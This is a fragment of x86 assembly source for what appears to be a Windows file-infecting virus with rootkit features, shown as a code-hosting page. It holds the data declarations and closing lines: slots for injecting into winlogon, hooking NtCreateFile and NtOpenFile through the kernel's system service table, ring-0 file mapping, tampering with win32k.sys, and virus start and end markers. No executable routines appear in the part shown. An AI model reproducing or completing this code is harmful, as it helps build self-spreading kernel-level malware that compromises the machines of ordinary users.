advapi db 'advapi32.dll',0
psapi db 'psapi.dll',0
rasapi db 'rasapi32.dll',0
imagehlp db 'imagehlp.dll',0
win32ksys db 'win32k.sys',0
win32ksy db 'win32k.sy',0
win32kfuck db 'win32k.fuck',0
StartUnicode db '\',0,'?',0,'?',0,'\',0
WinlogonHand dd 0
WinlogonID dd 0
WinlogonModuleHand dd 0
WinlogonModuleName db 50 dup(?)
WinlogonVirusBase dd 0
tAdjustTokenPrivileges dd 0
tCloseHandle dd 0
tLookupPrivilegeValueA dd 0
tOpenProcessToken dd 0
tGetCurrentProcess dd 0
CurDir db 256 dup(0)
_WIN32_FIND_DATA WIN32_FIND_DATA ?
FileHandle dd 0
MappingHandle dd 0
ViewHandle dd 0
SearchHand dd 0
Buffer db 256 dup (?)
aux dd 0
KernelThreadHand dd 0
EntryPointWin32ksys dd 0
EntryPoint dd 0
KeServiceDescriptorTable dd 0
Ntoskrnl dd 0
SSDT dd 0
NtCreateFileAddr dd 0
NtOpenFileAddr dd 0
NtCreateFileEntryAddr dd 0
NtOpenFileEntryAddr dd 0
AttributesFileRing0 dd ?
CreateDispositionFileRing0 dd ?
CreateOptionsFileRing0 dd ?
FileNameRing0 unicode_string ?
StringRing0 dw 256 dup(0)
RootDirectoryRing0 dd 0
FileAttributesRing0 objects_attributes ?
io_statusRing0 pio_status ?
FileHandRing0 dd ?
SectionHandRing0 dd ?
SectionOffsetRing0 dq 0
SectionBaseAddressRing0 dd 0
SectionViewSizeRing0 dd 0
ZwMapViewOfSectionz dd 0
ZwCreateSectionz dd 0
ZwOpenFilez dd 0
ZwUnmapViewOfSectionz dd 0
ZwClosez dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
padding:
PADDING equ 4 -(((padding - svirus) - (4*((padding - svirus)/4))))
db PADDING dup (00h)
evirus:
end start
end
Reference in New Issue Copy Permalink